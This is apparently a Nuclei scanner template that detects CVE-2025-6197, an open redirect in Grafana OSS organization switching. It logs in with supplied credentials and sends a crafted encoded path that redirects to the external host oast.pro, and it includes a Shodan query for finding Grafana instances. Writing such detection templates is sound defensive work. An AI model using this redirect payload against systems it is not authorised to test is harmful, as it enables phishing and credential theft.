Open Redirect via Organization Switching

id: CVE-2025-6197

info:
  name: Open Redirect via Organization Switching
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL
  impact: |
    Authenticated attackers can redirect users to arbitrary external domains through organization switching functionality, enabling phishing attacks and credential theft.
  remediation: |
    Upgrade Grafana OSS to the latest version that properly validates redirect URLs in organization switching functionality.
  reference:
    - https://grafana.com/blog/2025/07/17/grafana-security-release-medium-and-high-severity-fixes-for-cve-2025-6197-and-cve-2025-6023/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6197
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"grafana"
  tags: cve,cve2025,redirect,grafana,open-redirect,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"
  orgid: "{{orgid}}"

flow: http(1) && http(2)

http:

  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        accept: application/json, text/plain, */*
        DNT: 1
        content-type: application/json
        Origin: {{RootURL}}
        Referer: {{RootURL}}/login
        Cookie: redirect_to=%2F

        {"user":"{{username}}","password":"{{password}}"}

    extractors:
      - type: dsl
        dsl:
          - username
          - password

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Logged in'

      - type: word
        part: header
        words:
          - 'grafana_session'

      - type: status
        status:
          - 200

  - raw:
      - |
        GET /%2f%5coast.pro?orgId={{orgid}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        name: open-redirect
        dsl:
          - status_code == 302
          - contains(location, '//\oast.pro?')
        condition: and
# digest: 4a0a0047304502205c44308ba4d11a1345109ca4206a8dc79d55b86360d47feea0d307f469686c820221009b6aeb645ce8c3eb4a0145f2a7dc89fea7913e6bc6d63b4c95011a5b6244d689:922c64590222798bb761d5b6d8e72950